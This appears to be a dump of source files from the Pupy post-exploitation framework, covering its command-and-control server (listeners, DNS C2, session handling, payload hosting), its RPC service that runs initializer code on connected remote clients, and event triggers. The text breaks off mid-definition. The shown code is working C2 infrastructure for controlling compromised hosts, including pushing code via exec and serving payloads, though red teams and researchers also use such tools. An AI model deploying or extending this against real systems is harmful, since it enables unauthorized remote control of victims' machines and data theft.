igd_url = igd\n\n                self.igd = IGDClient(\n                    available=igd_enabled,\n                    ctrlURL=igd_url\n                )\n                if self.igd.available:\n                    self.motd['ok'].append('IGDClient enabled')\n            except UPNPError as e:\n                self.motd['fail'].append('IGDClient failed: {}'.format(e))\n\n        self.dnscnc = None\n\n        self.listeners = {}\n\n        dnscnc = self.config.get('pupyd', 'dnscnc')\n        if dnscnc and dnscnc.lower() not in (\n                'no', 'false', 'stop', 'n', 'disable'):\n            try:\n                self.dnscnc = PupyDnsCnc(\n                    igd=self.igd,\n                    config=self.config,\n                    credentials=self.credentials,\n                    listeners=self.get_listeners,\n                    cmdhandler=self.handler,\n                    pproxy=pproxy_dnscnc,\n                    server=self\n                )\n            except Exception as e:\n                logger.exception('DnsCNC failed: %s', e)\n\n    def get_listeners(self):\n        return self.listeners\n\n    @property\n    def address(self):\n        # Address of default listener\n        for listener in self.listeners.values():\n            if listener and listener.address:\n                return listener.address\n\n        return ''\n\n    @property\n    def port(self):\n        # Port of default listener\n        for listener in self.listeners.values():\n            return listener.port\n\n    def start_webserver(self, motd=False):\n        if not self.config.getboolean('pupyd', 'webserver'):\n            return False\n\n        if not self.pupweb:\n            self.pupweb = PupyWebServer(self, self.config)\n            self.pupweb.start()\n            self.display('WebServer started ({}:{}, webroot={})'.format(\n                self.pupweb.hostname, self.pupweb.port, self.pupweb.wwwroot),\n                motd=motd)\n        else:\n            self.display(\n                'WebServer already started', error=True, motd=motd)\n\n        return True\n\n    def create_id(self):\n        \"\"\" return first lowest unused session id \"\"\"\n        with self._current_id_lock:\n            new_id = next(filterfalse(self._current_id.__contains__, count(1)))\n            self._current_id.append(new_id)\n            return new_id\n\n    def move_id(self, dst_id, src_id):\n        \"\"\" return first lowest unused session id \"\"\"\n\n        src_client = None\n        dst_client = None\n\n        with self.clients_lock:\n            if isinstance(dst_id, int):\n                dst_client = [\n                    x for x in self.clients if x.desc['id'] == dst_id\n                ]\n\n                if not dst_client:\n                    raise ValueError(\n                        'Client with id {} not found'.format(dst_id)\n                    )\n\n                dst_client = dst_client[0]\n            else:\n                dst_client = dst_id\n\n            if isinstance(src_id, int):\n                src_client = [\n                    x for x in self.clients if x.desc['id'] == src_id\n                ]\n\n                if not src_client:\n                    raise ValueError(\n                        'Client with id {} not found'.format(src_id)\n                    )\n\n                src_client = src_client[0]\n            else:\n                src_client = src_id\n\n            with self._current_id_lock:\n                self._current_id.remove(dst_client.desc['id'])\n                self._current_id.append(src_client.desc['id'])\n\n            dst_client.desc['id'] = src_client.desc['id']\n\n    def free_id(self, id):\n        with self._current_id_lock:\n            try:\n                self._current_id.remove(int(id))\n            except ValueError:\n                logger.debug('Id not found in current_id list: %s', id)\n\n    def register_handler(self, instance):\n        \"\"\"\n        register the handler instance, typically a PupyCmd,\n        and PupyWeb in the future\n        \"\"\"\n\n        self.handler = instance\n\n        if self.dnscnc:\n            self.dnscnc.cmdhandler = instance\n\n        self.handler_registered.set()\n\n        event(ON_START, None, self)\n\n    def _whitelist(self, nodeid, cid):\n        if not self.config.getboolean('pupyd', 'whitelist'):\n            return True\n\n        if type(cid) in (int, long):\n            cid = '{:016x}'.format(cid)\n\n        if type(nodeid) in (int, long):\n            nodeid = '{:012x}'.format(nodeid)\n\n        if not cid or not nodeid:\n            return self.config.getboolean('pupyd', 'allow_by_default')\n\n        allowed_nodes = self.config.get('cids', cid)\n\n        if not allowed_nodes:\n            if self.config.getboolean('pupyd', 'allow_by_default'):\n                return True\n            return False\n\n        return nodeid in set([\n            x.strip().lower() for x in allowed_nodes.split(',')\n        ])\n\n    def add_client(self, conn):\n        client = None\n\n        if conn.remote_is_purepy:\n            conn.execute(\n                'exec({})'.format(\n                    reprb(\n                            open(path.join(\n                                ROOT,\n                                \"pupylib\",\n                                'PupyClientInitializer.py'\n                            ), 'r').read()\n                    )\n                )\n            )\n        else:\n            conn.execute(\n                'import marshal;exec(marshal.loads({}))'.format(\n                    reprb(\n                        pupycompile(\n                            path.join(\n                                ROOT,\n                                \"pupylib\",\n                                'PupyClientInitializer.py'\n                            ),\n                            path=True, raw=True,\n                            target=conn.remote_version\n                        )\n                    )\n                )\n            )\n\n        uuid = obtain(conn.namespace['get_uuid']())\n\n        if not self._whitelist(uuid.get('node'), uuid.get('cid')):\n            blocks_logger.warning(\n                'Rejected: {} on {}'.format(uuid.get('cid'), uuid.get('node')))\n            conn._conn.close()\n            return\n\n        client_info = {}\n        client_info.update(uuid)\n\n        with self.clients_lock:\n            client_id = self.create_id()\n\n            try:\n                client_info.update(obtain(conn.get_infos()))\n            except Exception as e:\n                logger.exception(e)\n                client_info.update({\n                    \"launcher\": str(conn.get_infos(\"launcher\")),\n                    \"launcher_args\": [\n                        x for x in conn.get_infos(\"launcher_args\")\n                    ],\n                    \"transport\": str(conn.get_infos(\"transport\")),\n                    \"daemonize\": bool(conn.get_infos(\"daemonize\")),\n                    \"native\": bool(conn.get_infos(\"native\")),\n                    \"sid\": conn.get_infos(\"sid\") or '',\n                })\n\n            conn_id = obtain(conn._conn._config['connid'])\n\n            try:\n                if type(conn_id) is list:\n                    address = conn_id[0]\n                address = conn_id.rsplit(':', 1)[0]\n            except Exception:\n                address = str(address)\n\n            client_info.update({\n                'id': client_id,\n                'conn': conn,\n                'address': address\n            })\n\n            if conn.remote_version[0] == 2:\n                for key in client_info:\n                    value = client_info[key]\n                    if isinstance(value, bytes):\n                        value = value.decode('utf-8')\n                    client_info[key] = value\n\n            client = PupyClient(client_info, self)\n            self.clients.append(client)\n\n            if self.handler:\n                try:\n                    client_ip, client_port = conn_id.rsplit(':', 1)\n                except Exception:\n                    client_ip, client_port = '0.0.0.0', 0\n\n                if ':' in client_ip:\n                    client_ip = '[' + client_ip + ']'\n\n                remote = ' ({}:{})'.format(client_ip, client_port)\n\n                user = client_info.get('user', '?')\n\n                user_info = user\n                if '\\\\' not in user:\n                    hostname = client_info.get('hostname', '?')\n\n                    user_info = user_info + '@' + hostname\n\n                self.info('Session {} opened ({}){}'.format(\n                    client_id, user_info, remote if client_port != 0 else '')\n                )\n\n        if client and self.handler:\n            event(ON_CONNECT, client, self, **client.desc)\n\n    def remove_client(self, conn):\n        with self.clients_lock:\n            client = [x for x in self.clients if (x.conn is conn or x is conn)]\n            if not client:\n                logger.debug('No clients matches request: %s', conn)\n                return\n\n            client = client[0]\n\n            event(ON_DISCONNECT, client, self, **client.desc)\n\n            self.clients.remove(client)\n            self.free_id(client.desc['id'])\n\n            self.info('Session {} closed'.format(client.desc['id']))\n\n    def get_clients(self, search_criteria):\n        \"\"\"\n        return a list of clients corresponding to the search criteria.\n        ex: platform:*win*\n        \"\"\"\n\n        # if the criteria is a simple id we return the good client\n\n        if not search_criteria:\n            return self.clients\n\n        try:\n            indexes = set(\n                int(x) for x in str(search_criteria).split(',')\n            )\n\n            return [\n                c for c in self.clients if c.desc['id'] in indexes\n            ]\n        except Exception:\n            pass\n\n        if not isinstance(search_criteria, basestring):\n            return\n\n        clients = set([])\n\n        if search_criteria == '*':\n            return self.clients\n\n        for c in self.clients:\n            take = False\n            tags = self.config.tags(c.node())\n            for sc in search_criteria.split():\n                tab = sc.split(':', 1)\n                # if the field is specified we search for\n                # the value in this field\n\n                if len(tab) == 2 and tab[0] in c.desc:\n                    take = True\n                    if not tab[1].lower() in str(c.desc[tab[0]]).lower():\n                        take = False\n                        break\n\n                elif len(tab) == 2 and tab[0] == 'tag' and tab[1] in tags:\n                    take = True\n\n                elif len(tab) == 2 and tab[0] == 'tags':\n                    if '&' in tab[1]:\n                        take = all(x in tags for x in tab[1].split('&') if x)\n                    else:\n                        take = any(x in tags for x in tab[1].split(',') if x)\n                elif len(tab) != 2:\n                    # if there is no field specified we search in every field\n                    # for at least one match\n                    take = False\n                    if tab[0] in tags:\n                        take = True\n                    else:\n                        for k, v in c.desc.items():\n                            if isinstance(v, basestring):\n                                if tab[0].lower() in v.decode('utf8').lower():\n                                    take = True\n                                    break\n                            else:\n                                if tab[0].lower() in str(v).lower():\n                                    take = True\n                                    break\n                        if not take:\n                            break\n            if take:\n                clients.add(c)\n\n        return list(clients)\n\n    def get_clients_list(self):\n        return self.clients\n\n    def iter_modules(self, by_clients=False, clients_filter=None):\n        \"\"\" iterate over all modules \"\"\"\n\n        clients = None\n        if by_clients:\n            clients = self.get_clients(clients_filter)\n            if not clients:\n                return\n\n        self._refresh_modules()\n        for module_name in self.modules:\n            if module_name.startswith('_'):\n                continue\n\n            try:\n                module = self.get_module(module_name)\n            except PupyModuleDisabled:\n                continue\n\n            if clients is not None:\n                for client in clients:\n                    if module.is_compatible_with(client):\n                        yield module\n                        break\n            else:\n                yield module\n\n    def get_module_name_from_category(self, modpath):\n        \"\"\"\n        take a category virtual path and return the module's\n        name or the path untouched if not found\n        \"\"\"\n\n        mod = self.categories.get_module_from_path(modpath)\n\n        if mod:\n            return mod.get_name()\n        else:\n            return modpath\n\n    def get_aliased_modules(self):\n        \"\"\"\n        return a list of aliased module names that have to be\n        displayed as commands\n        \"\"\"\n\n        modules = []\n        for m in self.iter_modules():\n            if not m.is_module:\n                modules.append((m.get_name(), m.__doc__))\n\n        return modules\n\n    def _refresh_modules(self, force=False):\n        files = {}\n\n        paths = set([\n            path.abspath(x) for x in [\n                self.config.root, '.', ROOT\n            ]\n        ])\n\n        for modpath in paths:\n            modules = path.join(modpath, 'modules')\n            if not path.isdir(modules):\n                continue\n\n            for x in listdir(modules):\n                modname = '.'.join(x.rsplit('.', 1)[:-1])\n                modpath = path.join(modules, x)\n\n                try:\n                    valid = all([\n                        x.endswith(self.SUFFIXES),\n                        not x.startswith(('__init__', '.')),\n                        path.isfile(modpath)\n                    ])\n\n                    if valid:\n                        files[modname] = modpath\n\n                except Exception as e:\n                    logger.exception(e)\n\n        for modname in files:\n            modpath = files[modname]\n            current_stats = stat(modpath)\n\n            if not force and modname in self.modules and \\\n                    self._modules_stats[modname] == current_stats.st_mtime:\n                continue\n\n            try:\n                module_object = imp.load_source(modname, modpath)\n                logger.debug('Load module %s', modname)\n                self.modules[modname] = module_object\n                self._modules_stats[modname] = current_stats.st_mtime\n\n            except IgnoreModule as e:\n                logger.debug('Ignore module %s: %s', modname, e)\n                continue\n\n            except Exception as e:\n                tb = '\\n'.join(traceback.format_exc().split('\\n')[1:-2])\n                error = Line(\n                    Error('Invalid module:'),\n                    Color(modname, 'yellow'),\n                    'at ({}): {}. Traceback:\\n{}'.format(\n                        modpath, e, tb\n                    )\n                )\n\n                self.info(error, error=True)\n\n    def get_module(self, name):\n        enable_dangerous_modules = self.config.getboolean(\n            'pupyd', 'enable_dangerous_modules'\n        )\n\n        if name not in self.modules:\n            self._refresh_modules(force=True)\n\n        if name not in self.modules:\n            raise PupyModuleNotFound('No such module')\n\n        module = self.modules[name]\n        class_name = None\n\n        for item_name in dir(module):\n            item = getattr(module, item_name)\n            if not isclass(item):\n                continue\n\n            if issubclass(item, PupyModule) and item != PupyModule:\n                class_name = item_name\n\n        if hasattr(module, '__events__'):\n            for event_id, event_name in module.__events__.items():\n                try:\n                    registered_event_name = event_to_string(event_id)\n                    if registered_event_name != event_name:\n                        logger.error(\n                            'script \"%s\" registers event_id %08x as \"%s\", '\n                            'but it is already registered as \"%s\"',\n                            name, event_name, registered_event_name)\n\n                        raise PupyModuleDisabled(\n                            'Modules with errors are disabled.'\n                        )\n\n                except UnregisteredEventId:\n                    try:\n                        register_event_id(event_id, event_name)\n                    except RegistrationNotAllowed:\n                        logger.error(\n                            'script \"%s\" registers event_id 0x%08x '\n                            'which is not allowed, eventid should be >0x%08x',\n                            name, event_id, CUSTOM\n                        )\n\n                        raise PupyModuleDisabled(\n                            'Modules with errors are disabled.'\n                        )\n\n        if not class_name:\n            # TODO automatically search the class name in the file\n            exit('Error : no __class_name__ for module %s' % module)\n\n        module_class = getattr(module, class_name)\n\n        if not enable_dangerous_modules and module_class.qa != QA_STABLE:\n            logger.debug('Ignore dangerous module %s', name)\n            raise PupyModuleDisabled('Dangerous modules are disabled.')\n\n        return module_class\n\n    def module_parse_args(self, module_name, args):\n        \"\"\"\n        This method is used by the PupyCmd class to verify validity\n        of arguments passed to a specific module\n        \"\"\"\n\n        module = self.get_module(module_name)\n        ps = module(None, None)\n        if ps.known_args:\n            return ps.arg_parser.parse_known_args(args)\n        else:\n            return ps.arg_parser.parse_args(args)\n\n    def del_job(self, job_id):\n        if job_id is not None:\n            job_id = int(job_id)\n            if job_id in self.jobs:\n                del self.jobs[job_id]\n\n    def add_job(self, job):\n        job.id = self.jobs_id\n        self.jobs[self.jobs_id] = job\n        self.jobs_id += 1\n\n    def get_job(self, job_id):\n        try:\n            job_id = int(job_id)\n        except ValueError:\n            raise PupyModuleError(\"job id must be an integer !\")\n        if job_id not in self.jobs:\n            raise PupyModuleError(\"%s: no such job !\" % job_id)\n\n        return self.jobs[job_id]\n\n    def create_virtual_connection(self, transport, peer):\n        if transport not in transports:\n            logger.error('Unknown transport: %s', transport)\n            return\n\n        logger.debug('create_virtual_connection(%s, %s)', transport, peer)\n\n        transport_conf = transports.get(transport)\n        transport_class = transport_conf().server_transport\n\n        logger.debug(\n            'create_virtual_connection(%s, %s) - transport - %s / %s',\n            transport, peer, transport_conf, transport_class\n        )\n\n        stream = PupyVirtualStream(transport_class)\n\n        vc = PupyConnectionThread(\n            self,\n            PupyService,\n            PupyChannel(stream),\n            ping=stream.KEEP_ALIVE_REQUIRED,\n            config={\n                'connid': '{}:{}'.format(peer, id(self))\n            })\n\n        def activate(peername, on_receive):\n            logger.debug(\n                'VirtualStream (%s, %s) - activating',\n                stream, peername\n            )\n\n            stream.activate(peername, on_receive)\n\n            logger.debug(\n                'VirtualStream (%s, %s) - starting thread',\n                stream, peername\n            )\n\n            vc.start()\n\n            logger.debug(\n                'VirstualStream (%s, %s) - activated',\n                stream, peername\n            )\n\n        return activate, stream.submit, stream.close\n\n    def connect_on_client(self, launcher):\n        \"\"\" connect on a client that would be running a bind payload \"\"\"\n\n        try:\n            stream = next(iter(launcher.iterate()))\n        except StopIteration:\n            self.handler.display_error(\n                \"All connection attempts failed\"\n            )\n            return\n\n        except (OSError, socket.error) as e:\n            self.handler.display_error(\n                \"Couldn't connect to pupy: {}\".format(e)\n            )\n            return\n\n        host = launcher.args.host[0] if type(\n            launcher.args.host) in (list, tuple) else launcher.args.host\n\n        self.handler.display_success('Starting session ({})'.format(host))\n\n        bgsrv = PupyConnectionThread(\n            self,\n            PupyBindService,\n            PupyChannel(stream),\n            ping=stream.KEEP_ALIVE_REQUIRED,\n            config={\n                'connid': host\n            })\n\n        bgsrv.start()\n\n    def start(self):\n        self.handler_registered.wait()\n        self.start_webserver(motd=True)\n\n        listeners = set([\n            x.strip() for x in (\n                self.config.get('pupyd', 'listen') or 'ssl'\n            ).split(',')\n        ])\n\n        for name in listeners:\n            if name in transports:\n                self.add_listener(name, motd=True)\n            else:\n                self.display(\"Transport not found\", error=True)\n\n        self.handler.print_motd(self.motd)\n\n    def add_listener(self, name, config=None, motd=False, ignore_pproxy=False):\n        if self.listeners and name in self.listeners:\n            self.handler.display_warning(\n                'Listener {} already registered'.format(name)\n            )\n            return\n\n        if name not in transports:\n            error = 'Transport {} is not registered. ' \\\n                'To show available: listen -L'.format(repr(name))\n            self.display(error, error=True, motd=motd)\n            return\n\n        listener_config = config or self.config.get('listeners', name)\n        if not listener_config:\n            error = 'Transport {} does not have default settings. ' \\\n                'Specfiy args (at least port)'.format(repr(name))\n\n            self.display(error, error=True, motd=motd)\n            return\n\n        try:\n            listener = Listener(\n                self,\n                name,\n                listener_config,\n                httpd=self.httpd,\n                igd=self.igd,\n                local=self.config.get('pupyd', 'address'),\n                external=self.config.get('pupyd', 'external'),\n                pproxy=None if ignore_pproxy else self.pproxy_listener\n            )\n\n        except (ListenerException, ValueError) as e:\n            error = 'Listener: {}: Error: {}'.format(repr(name), e)\n\n            if motd:\n                self.motd['fail'].append(error)\n            else:\n                self.handler.display_error(error)\n            return\n\n        except Exception as e:\n            logger.exception(e)\n            return\n\n        self.listeners[name] = listener\n\n        error = True\n        message = 'Listen: {}'.format(listener)\n\n        try:\n            self.listeners[name].init()\n            self.listeners[name].start()\n            error = False\n\n        except socket.error as e:\n            if e.errno == errno.EACCES:\n                message = 'Listen: {}: ' \\\n                    'Insufficient privileges to bind'.format(listener)\n            elif e.errno == errno.EADDRINUSE:\n                message = 'Listen: {}: ' \\\n                    'Address/Port already used'.format(listener)\n            elif e.errno == errno.EADDRNOTAVAIL:\n                message = 'Listen: {}: ' \\\n                    'No network interface with addresss {}'.format(\n                        listener, listener.address)\n            else:\n                message = 'Listen: {}: {}'.format(listener, e)\n\n        except Exception as e:\n            error = '{}: {}'.format(listener, e)\n        if error:\n            del self.listeners[name]\n\n        self.display(message, error=error, motd=motd)\n\n    def display(self, message, error=False, motd=False):\n        if motd or not self.handler:\n            if error:\n                self.motd['fail'].append(message)\n            else:\n                self.motd['ok'].append(message)\n        else:\n            if error:\n                self.handler.display_error(message)\n            else:\n                self.handler.display_success(message)\n\n    def info(self, message, error=False):\n        if self.handler:\n            self.handler.display_srvinfo(message)\n        elif error:\n            self.motd['fail'].append(message)\n        else:\n            self.motd['ok'].append(message)\n\n    def remove_listener(self, name):\n        if name not in self.listeners:\n            self.handler.display_warning('{} - is not running'.format(name))\n            return\n\n        self.listeners[name].close()\n        self.handler.display_srvinfo('Closed: {}'.format(self.listeners[name]))\n        del self.listeners[name]\n\n    def serve_content(self, payload, alias=None):\n        if self.pupweb:\n            return self.pupweb.serve_content(payload, alias)\n\n        url = None\n\n        wwwroot = self.config.get_folder('wwwroot')\n        secret = self.config.getboolean('httpd', 'secret')\n\n        with NamedTemporaryFile(\n                dir=wwwroot, prefix='', delete=False) as served:\n            served.write(payload)\n\n        if secret:\n            url = '/'.join([\n                self.config.get('randoms', 'wwwsecret', random=5),\n                path.basename(served.name)\n            ])\n        else:\n            url = path.basename(served.name)\n\n        if alias is None:\n            alias = path.basename(served.name)\n\n        self.served_content[served.name] = alias\n        self.handler.display_srvinfo(f\"serving {served.name}, {url}\")\n\n        return '/' + url\n\n    @property\n    def web_handler_enabled(self):\n        return bool(self.web_handler_port)\n\n    @property\n    def web_handler_port(self):\n        if self.pupweb:\n            return self.pupweb.port\n        elif self.httpd:\n            for listener in self.listeners.values():\n                return listener.external_port or listener.port\n\n    def register_cleanup(self, cleanup):\n        self._cleanups.append(cleanup)\n\n    def single(self, ctype, *args, **kwargs):\n        single = self._singles.get(ctype)\n        if not single:\n            single = ctype(*args, **kwargs)\n            self._singles[ctype] = single\n\n        return single\n\n    def stop(self):\n        if self.finishing.is_set():\n            return\n        else:\n            self.finishing.set()\n\n        event(ON_EXIT, None, self)\n\n        for cleanup in self._cleanups:\n            cleanup()\n\n        self._cleanups = []\n\n        for name in tuple(self.listeners):\n            self.remove_listener(name)\n\n        if self.pupweb:\n            self.pupweb.stop()\n            self.pupweb = None\n\n        for served in tuple(self.served_content):\n            if path.isfile(served):\n                try:\n                    unlink(served)\n                except OSError:\n                    pass\n\n            del self.served_content[served]\n\n        self.finished.set()\n"
  },
  {
    "path": "pupy/pupylib/PupyService.py",
    "content": "# -*- coding: utf-8-*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n# OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF\n# THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n# DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport traceback\nimport json\nimport zlib\nimport umsgpack\n\nfrom pupy.pupylib.PupyCredentials import Credentials\n\nfrom pupy.network.lib.msgtypes import msgpack_exthook\nfrom pupy.network.lib.rpc import Service, timed, nowait\nfrom pupy.network.lib.convcompat import as_native_string\n\nfrom . import getLogger\nlogger = getLogger('service')\n\n\nclass PupyService(Service):\n    def __init__(self, *args, **kwargs):\n        super(PupyService, self).__init__(*args, **kwargs)\n        self._local_cleanups = []\n        self._singles = {}\n\n        self.modules = None\n        self.namespace = None\n        self.builtin = self.builtins = None\n        self.register_remote_cleanup = None\n        self.unregister_remote_cleanup = None\n        self.obtain_call = None\n        self.exit = None\n        self.eval = None\n        self.execute = None\n        self.pupyimporter = None\n        self.pupyimporter_funcs = None\n        self.infos = None\n        self.get_infos = None\n\n        self.protocol_version = None\n        self.remote_version = (2, 7)\n        self.remote_is_purepy = False\n\n        self.events_receiver = None\n\n        self.remote_loaded_modules = None\n        self.remote_cached_modules = None\n\n    def exposed_on_connect(self):\n        if sys.version_info.major == 3:\n            # Deprecated API\n            self._conn.activate_3to2()\n\n        self._conn._config.update({\n            'allow_safe_attrs': False,\n            'allow_public_attrs': False,\n            'allow_pickle': False,\n            'allow_getattr': False,\n            'allow_setattr': False,\n            'allow_delattr': False,\n            'allow_all_attrs': False,\n            'import_custom_exceptions': False,\n            'instantiate_custom_exceptions': False,\n            'instantiate_oldstyle_exceptions': False,\n        })\n\n        self.modules = None\n\n        self.exposed_stdin = sys.stdin\n        self.exposed_stdout = sys.stdout\n        self.exposed_stderr = sys.stderr\n\n    \"\"\"\n    def exposed_initialize_v1(\n            self,\n            namespace, modules, builtin,\n            register_cleanup, unregister_cleanup,\n            obtain_call,\n            remote_exit, remote_eval, remote_execute,\n            pupyimporter,\n            infos, *args\n       ):\n\n        if __debug__:\n            logger.debug('Initialize legacy V1 connection.')\n\n        if sys.version_info.major == 3:\n            # Deprecated API\n            self._conn.activate_3to2()\n            # raise NotImplementedError(\n            #   'Too old RPC version - python3 to python2 is not supported'\n            # )\n\n        self.namespace = namespace\n        self.modules = modules\n        self.builtin = self.builtins = builtin\n        self.register_remote_cleanup = nowait(register_cleanup)\n        self.unregister_remote_cleanup = nowait(unregister_cleanup)\n        self.obtain_call = obtain_call\n        self.exit = timed(remote_exit, 1)\n        self.eval = remote_eval\n        self.execute = remote_execute\n        self.pupyimporter = pupyimporter\n        self.infos = umsgpack.loads(infos, ext_hook=msgpack_exthook)\n        self.get_infos = lambda: self.infos\n\n        self.pupy_srv.add_client(self)\n    \"\"\"\n\n    def exposed_initialize_v2(\n        self,\n        protocol_version, remote_version,\n        namespace, modules, builtin,\n        register_cleanup, unregister_cleanup,\n        remote_exit, remote_eval, remote_execute,\n        infos, loaded_modules, cached_modules,\n            pupyimporter, pupyimporter_funcs, is_purepy, *args):\n\n        if __debug__:\n            logger.debug(\n                'Initialize V2 connection. Remote proto: %s Python: %s',\n                protocol_version, remote_version\n            )\n\n        self.protocol_version = protocol_version\n        self.remote_version = remote_version\n        self.remote_is_purepy = is_purepy\n\n        if sys.version_info.major == 3 and \\\n                self.remote_version[0] == 2:\n\n            if __debug__:\n                logger.debug(\n                    'Enable python3 to python2 communication hacks'\n                )\n\n            self._conn.activate_3to2()\n\n        self.namespace = namespace\n        self.modules = modules\n        self.builtin = self.builtins = builtin\n        self.register_remote_cleanup = nowait(register_cleanup)\n        self.unregister_remote_cleanup = nowait(unregister_cleanup)\n        self.obtain_call = False\n        self.exit = timed(remote_exit, 1)\n        self.eval = remote_eval\n        self.execute = remote_execute\n        self.pupyimporter = pupyimporter\n        self.pupyimporter_funcs = {\n            as_native_string(func): ref\n            for func, ref in pupyimporter_funcs.items()\n        }\n        self.infos = infos\n        self.get_infos = lambda: self.infos\n\n        self.remote_loaded_modules = set(\n            as_native_string(module) for module in loaded_modules\n        )\n\n        self.remote_cached_modules = set(\n            as_native_string(module) for module in cached_modules\n        )\n\n        self.pupy_srv.add_client(self)\n\n    def register_local_cleanup(self, cleanup):\n        self._local_cleanups.append(cleanup)\n\n    def unregister_local_cleanup(self, cleanup):\n        self._local_cleanups.remove(cleanup)\n\n    def single(self, ctype, *args, **kwargs):\n        single = self._singles.get(ctype)\n        if not single:\n            single = ctype(*args, **kwargs)\n            self._singles[ctype] = single\n\n        return single\n\n    def on_disconnect(self):\n        self.pupy_srv.remove_client(self)\n        for cleanup in self._local_cleanups:\n            try:\n                cleanup()\n            except Exception as e:\n                logger.exception(e)\n\n    # Compatibility call\n    def exposed_set_modules(self, modules):\n        if __debug__:\n            logger.debug('Initialize legacy V0 connection.')\n\n        try:\n            self.modules = modules\n            self.builtin = modules.__builtin__\n            self.builtins = self.builtin\n\n            try:\n                self.namespace = self._conn.root.namespace\n            except Exception as e:\n                logger.exception(e)\n\n            self.execute = self._conn.root.execute\n            try:\n                self.register_remote_cleanup = \\\n                    self._conn.root.register_cleanup\n            except Exception:\n                self.register_remote_cleanup = None\n\n            if self.register_remote_cleanup:\n                try:\n                    self.unregister_remote_cleanup = \\\n                        self._conn.root.unregister_cleanup\n                except Exception:\n                    self.unregister_remote_cleanup = None\n\n                try:\n                    self.obtain_call = self._conn.root.obtain_call\n                except Exception:\n                    pass\n\n            self.exit = self._conn.root.exit\n            self.eval = self._conn.root.eval\n            self.get_infos = self._conn.root.get_infos\n\n            self.pupy_srv.add_client(self)\n\n        except Exception:\n            logger.error(traceback.format_exc())\n            try:\n                self._conn.close()\n            except Exception:\n                pass\n\n    def exposed_msgpack_dumps(self, js, compressed=False):\n        data = umsgpack.dumps(js)\n        if compressed:\n            data = zlib.compress(data)\n\n        return data\n\n    def exposed_json_dumps(self, js, compressed=False):\n        data = json.dumps(js)\n        if compressed:\n            data = zlib.compress(data)\n\n        return data\n\n    def exposed_broadcast_event(self, eventid, *args, **kwargs):\n        logger.info('Event received: %08x', eventid)\n        if self.events_receiver:\n            self.events_receiver(eventid)\n            logger.info('Event handled: %08x', eventid)\n\n\nclass PupyBindService(PupyService):\n    def exposed_get_password(self):\n        credentials = Credentials()\n        return credentials['BIND_PAYLOADS_PASSWORD']\n"
  },
  {
    "path": "pupy/pupylib/PupySignalHandler.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport signal\n\nwinch_handler=None\n\ndef set_signal_winch(handler):\n    \"\"\" return the old signal handler \"\"\"\n    global winch_handler\n    old_handler=winch_handler\n    winch_handler=handler\n    return old_handler\n\ndef signal_winch(signum, frame):\n    global winch_handler\n    if winch_handler:\n        return winch_handler(signum, frame)\n\nsignal.signal(signal.SIGWINCH, signal_winch)\n"
  },
  {
    "path": "pupy/pupylib/PupyTriggers.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'UnregisteredEventId',\n    'SERVER', 'DNSCNC', 'CLIENT',\n    'ON_CONNECT', 'ON_DISCONNECT',\n    'ON_DNSCNC_SESSION', 'ON_DNSCNC_SESSION_LOST',\n    'ON_START', 'ON_EXIT',\n    'ON_JOB_EXIT',\n    'EventRegistrationException', 'UnregisteredEventId',\n    'RegisteredEventId', 'RegistrationNotAllowed',\n    'register_event_id',\n    'unregister_event_id',\n    'event',\n    'SERVER', 'DNSCNC', 'CLIENT', 'CUSTOM'\n)\n\nimport string\n\nfrom .PupyConfig import Error, NoSectionError\n\nfrom . import getLogger\nlogger = getLogger('triggers')\n\nALLOWED_CHARS = string.ascii_letters + string.digits + '_ '\n\nSERVER = 0x80000000\nDNSCNC = 0x40000000\nCLIENT = 0x20000000\nCUSTOM = 0x10000000\n\nON_CONNECT = CLIENT | 0\nON_DISCONNECT = CLIENT | 1\nON_JOB_EXIT = CLIENT | 2\n\nON_CLIENT_EXIT = CUSTOM | 0xFFFF\nON_CLIENT_CONNECTION_FAILED = CUSTOM | 0xFFFE\n\nON_DNSCNC_SESSION = DNSCNC | 0\nON_DNSCNC_SESSION_LOST = DNSCNC | 1\nON_DNSCNC_ONLINE_STATUS = DNSCNC | 2\nON_DNSCNC_EGRESS_PORTS = DNSCNC | 3\nON_DNSCNC_PSTORE = DNSCNC | 4\nON_DNSCNC_USER_ACTIVE = DNSCNC | 5\nON_DNSCNC_USER_INACTIVE = DNSCNC | 6\nON_DNSCNC_HIGH_RESOURCE_USAGE = DNSCNC | 